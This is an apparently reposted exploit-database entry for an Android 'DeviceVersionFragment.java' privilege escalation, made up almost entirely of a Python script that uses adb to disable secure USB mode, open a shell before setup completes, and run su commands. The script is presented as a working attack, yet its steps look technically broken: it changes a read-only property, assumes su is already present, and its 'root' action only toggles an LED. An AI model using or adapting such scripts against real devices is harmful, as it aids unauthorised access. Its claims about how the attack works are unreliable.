Android DeviceVersionFragment.java Privilege Escalation
2024-1-14 22:6:43 Author: cxsecurity.com(查看原文) 阅读量:9 收藏

Android DeviceVersionFragment.java Privilege Escalation

#!/usr/bin/env python import subprocess # Connect to the device via ADB subprocess.run(["adb", "devices"]) # Check if the device is in secure USB mode device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE) if "1" in device.stdout.decode(): # Secure USB mode is enabled, so we need to disable it subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"]) # Exploit the vulnerability by accessing ADB before SUW completion subprocess.run(["adb", "shell"]) # Escalate privileges by executing commands as the root user subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True) subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


Copyright 2024, cxsecurity.com

文章来源: https://cxsecurity.com/issue/WLB-2024010050
如有侵权请联系:admin#unsafe.sh